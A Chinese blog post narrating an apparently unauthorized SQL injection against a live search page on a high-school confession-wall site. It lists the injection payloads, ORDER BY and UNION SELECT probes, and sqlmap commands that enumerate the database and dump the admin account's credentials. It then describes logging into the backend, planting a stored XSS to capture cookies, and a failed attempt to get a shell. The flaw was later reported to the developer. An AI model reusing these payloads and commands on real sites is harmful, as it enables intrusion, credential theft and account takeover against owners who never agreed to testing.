记一次实战SQL注入
这是一个高中生站长写的表白墙,这是一个搜索的页面。因为留言的数据都保存在数据库中,所以很明显这里可能存在搜索型注入。 我们先输入正常的数据来测试,输入一个6效果如下图所示。很明显是后面一个参数起到搜索的作用
我们可以猜测一下后端的sql语句是怎么写的?(这里有一个小坑 因为实际sql语句不是这么写的)
select * from table where column like '%xxx%';
第一步:判断数据是被什么包裹的
这里我尝试了注释和引号闭合两种方法
注释:6%' or 1=1%23 这里我惊奇的发现php竟然报错了,泄露了网站的绝对路径
说明开发者没有关闭错误提示
引号闭合:6%' or '
发现和输入6的回显界面一样,那么就说明这里存在搜索型注入且无任何过滤
第二步:order by来判断字段数
payload=%' order by 5 or '
php依旧是报错的,为啥会报错呢?我推断是因为前面的闭合不正确,于是找到了源码,通过一番查找,我发现原来sql语句是这样的
$sql= "select * from {$wan} where( ta like '%{$nr}%' OR i like '%{$nr}%' OR love like '%{$nr}%');";
原来还有个括号,长见识了,哈哈哈哈哈!
那么正确的payload如下
payload=6%') order by 5 -- -
确定了该表字段有5列
第三步:尝试联合注入
payload = -6%') union select 1,database(),3,4,5 -- -
很明显,这里使用联合注入效果最好,那么为了加快注入的速度,我们使用sqlmap进行注入
暴库
sqlmap -u "http://xxx.xxx/xxx/ss.php?wan=0&nr=6" -p nr --random-agent --level 3 --dbs
爆表
sqlmap -u "http://xxx.xxx/xxx/ss.php?wan=0&nr=6" -p nr --random-agent --level 3 -D serxxxxx --tables
其中admin表比较像后台账号和密码,我们选择admin表
爆破字段
sqlmap -u "http://xxx.xxx/xxx/ss.php?wan=0&nr=6" -p nr --random-agent --level 3 -D serxxxxxx -T admin --column
爆破数据
sqlmap -u "http://xxxx.xxx/xxx/ss.php?wan=0&nr=6" -p nr --random-agent --level 3 -D serxxxxx -T admin -C mm nc --dump
最终得到了账号密码
成功登录后台
在公告里面构造了存储型的xss一枚 由于技术原因我只会打cookie 我打我自己2333
其实 我还想拿shell的 但是由于mysql的@@secure_file_priv值为null 拿shell失败
渗透之旅到此结束
最后也是告诉了全栈开发者这个漏洞 让他修复了(我真的不想看见漏洞被修复啊QAQ)
可见mysqli_real_escape_string() 调用mysql库的函数 mysqli_real_escape_string,
在以下字符前添加反斜杠: \x00, \n, \r, \, ', " 和 \x1a.有多么变态
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。
评论已关闭